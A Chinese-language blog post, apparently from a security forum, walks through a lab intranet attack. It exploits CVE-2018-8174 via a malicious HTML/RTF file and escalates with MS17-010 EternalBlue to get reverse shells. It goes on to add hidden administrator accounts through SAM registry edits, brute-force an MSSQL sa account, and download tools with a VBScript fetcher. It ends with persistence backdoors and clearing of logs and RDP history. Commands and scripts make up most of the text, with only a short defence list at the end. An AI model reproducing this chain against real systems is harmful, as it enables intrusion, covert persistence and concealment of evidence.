基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

CVE-2018-8174漏洞复现|内网渗透|权限维持|脚本编程|痕迹清除

Posted by Waldo on January 1, 2019

本文已在i春秋论坛发表

本文涉及的知识点: CVE-2018-8174漏洞复现内网渗透权限维持脚本编程痕迹清除端口转发利用MS17-010提权

CVE-2018-8174漏洞简介

CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码,该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

Persistence后门

Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用 它创建注册和文件。 参数解释:

  • A: 自动启动Payload程序
  • S: 系统启动时自动加载
  • U: 用户登录时自动启动
  • X: 开机时自动加载
  • i: 回连的时间间隔
  • P: 监听反向连接端口号
  • r: 目标机器IP地址

环境搭建

拓扑图

Win server 2008 对Windows 7开启1433端口

  1. 选择“打开或者关闭Windows防火墙”把防火墙打开,然后选择“高级设置”,选择“创建规则”来指定端口。

  2. 在“入站规则”里选择刚才创建的规则,名称是“1433”,如下图所示

  3. 在属性对话框中,选择“远程IP地址”时,使用Windows7 的IP地址:172.20.10.177,配置完成后,Win server 2008 对Windows7成功开启1433端口

内网攻击过程

1号机获得2号机的权限

利用CVE-2018-8174漏洞获取2号机(Windows 7)权限,添加攻击者用户

  1. 从github上克隆CVE-2018-8174的EXP到Kali Linux
    git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

  2. 生成恶意html和rtf文件 cd CVE-2018-8174_EXP/

python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444

  1. 将恶意html文件移动到网站根目录,启动apache2服务 cp exploit.html /var/www/html/ service apache2 start

  2. 新打开一个终端,生成MSF监听
    msfconsole -x "use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run"
    

  3. 受害者点击恶意链接

  1. 在kali里接收到了shell,可在meterpreter中管理shell 发现非管理员权限

非管理员权限

  1. 使用MS17-010模块进行提权 use auxiliary/scanner/smb/smb_ms17_010 使用ms17-010模块

在运行该模块之前,需要设置相关选项,我们使用show options查看配置信息

show options

  1. 需要设置目标地址,设置命令:set RHOSTS 192.168.114.138

9.设置完成后,执行run或exploit命令,等待执行结果,发现存在永恒之蓝漏洞

10.使用漏洞利用模块

use exploit/Windows/smb/ms17_010_eternalblue

11.查看配置信息,并设置标记为yes的属性,show options,目标机host 地址:192.168.114.138,set RHOST 192.168.114.138

  1. 选择载荷payload,也就是shellcode,此处我们选择回连至控制端 shell的payload

set payload Windows/x64/meterpreter/reverse_tcp

同样,载荷也需要进行配置,show options查看配置信息 配置中缺少本地主机 LHOST,设置一下

set LHOST 192.168.114.130

  1. 完成配置后,运行exploit或者run,开始执行漏洞利用模块 成功获取来自目标主机的Session会话

  2. 查看受害者机器相关信息

15.成功使用MS17010获得系统权限

  1. 发现未开启3389端口

17.添加3389入站规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP 	dir=in localport=3389 action=allow

  1. 开启3389端口
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server 	/v fDenyTSConnections /t REG_DWORD /d 0 /f
    

  1. 成功打开3389端口

  2. 创建管理员用户Waldo

net user Waldo 123456hhhh. /add

net localgroup administrators Waldo /add

  1. 使用Waldo账户远程登录 portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

rdesktop 127.0.0.1 -u Waldo -p 123456hhhh.

添加超级隐藏管理员账户

net user test$ 123456 /add

net localgroup administrators test$ /add

但在管理账户面板依然能够看见,下面要解决这个问题

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找 到新建的帐户test$

获取默认类型为0x3ec,将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg

在注册表下能够找到对应类型名称的注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC

右键将该键导出为2.reg,保存的文件信息如下图

42.png

默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 同样,右键将该键导出为3.reg

将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值

替换后,如图

命令行删除特殊账户: net user test$ /del

导入reg文件:

regedit /s 1.reg

regedit /s 2.reg

隐藏账户制做完成,控制面板不存在帐户test$

通过net user无法列出该帐户 计算机管理-本地用户和组-用户也无法列出该帐户 但可通过如下方式查看: net user test$

命令窗口打开后,键入 net user test$/active:yes。输完后按一下回车键看到“命令成功完成”信息即表明超级隐藏账户test$ 账户已启用

端口转发: portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

使用超级隐藏账户登录: rdesktop 127.0.0.1 -u test$ -p 123456

Windows 不会显示隐藏账户

使用vbs脚本上传SQLTOOLS.exe

脚本如下:

url = "http://wjs001.cn/lcx.exe"    '网络上的文件地址
saveas = "c:\lcx.exe"                '保存成的本地文件

Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象

Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求

stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件

'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

在shell下,创建文件夹: mkdir C:\\hack\\

将脚本上传到创建好的名为hack的文件夹下:

meterpreter > upload /root/down1.vps C:\\hack

查看C:\hack确认上传成功:

运行cscript down1.vbs,上传SQLTOOLS软件:

Kali对Windows 7(192.168.114.138)的权限维持见**权限维持**模块

从Windows 7进攻Windows server 2008

对Windws server 2008的sa账户进行爆破

  1. 使用nmap扫描发现172.20.10.208开了1433端口

nmap -p1433 --open 172.20.10.0/24

  1. 使用ms-sql-brute模块对Win server 2008的sa账户进行爆破,获得用户名为sa,密码为123456

name.txt和password.txt是爆破用的字典

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb=C:\Users\Waldo\Desktop\password.txt 172.20.10.208

利用sqltoos获取Win server 2008 的权限

  1. 使用sqltools进行sql连接

  2. 用xp_cmdshell关闭防火墙限制

netsh firewall set opmode mode=disable

  1. 添加3389入站规则
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    

4.开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

开启3389端口

  1. 创建管理员用户Waldo6TEST

net user Waldo2008 1234567hhhh. /add

net localgroup administrators Waldo2008 /add

添加用户Waldo2008

 Waldo2008拥有管理员权限

Windows 7中远程登录Win server 2008

  1. 在Windows 7 使用用户名Wado2008T 密码1234567hhhh.成功登陆Win server 2008

权限维持(Kali到Windows7)

run persistence -X -i 5 -p 1121 -r 192.168.114.130,这里在Meterpreter会话中运行persistence后渗透攻击模块,在目标主机的注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加下图中倒数第一个[*],达到自启动的目的,-X参数指定启动的方式为开机自启动,-i参数指定反向连接的时间间隔

然后建立Meterpreter的客户端,在指定回来的1121端口进行监听,待Windows 7(192.168.114.138),等待后门重新连接,具体操作命令如下:

msfconsole 
use exploit/multi/handler
set PAYLOAD Windows/meterpreter/reverse_tcp
set LHOST 192.168.114.130
set lport 1121
run

痕迹清除

使用清除远程连接历史记录的BAT脚本

clearev命令

未清除时Windows 7(192.168.114.138)中的日志

脚本分析

目标机器下载程序的vbs脚本

注: 使用service apache2 start将kali linux apache2服务打开,可以使之充当服务器,将需要上传的文件放在/var/www/html目录下

url = "http://192.168.114.130/SQL.exe"    '网络上的文件地址
saveas = "C:\hack\SQL.exe"                '保存成的本地文件
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象
Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

清除3389远程桌面连接记录的批处理脚本

@cls ::清屏
@color 0b ::设置默认的控制台前景和背景颜色
::REM清除mstsc历史记录
echo off ::echo off执行以后,后面所有的命令均不显示,但本条命令是显示的
mstsc
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f 
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
cd /d %USERPROFILE%
del *.rdp /a/s

解释: /f: 不提示 /a: 删除隐藏文件

如何防御

1.不要打开任何来源不明的链接或Office文档

2.及时更新并安装微软发布的最新补丁

3.定期查看日志和管理用户界面

4.及时更新杀毒软件,并对计算机进行杀毒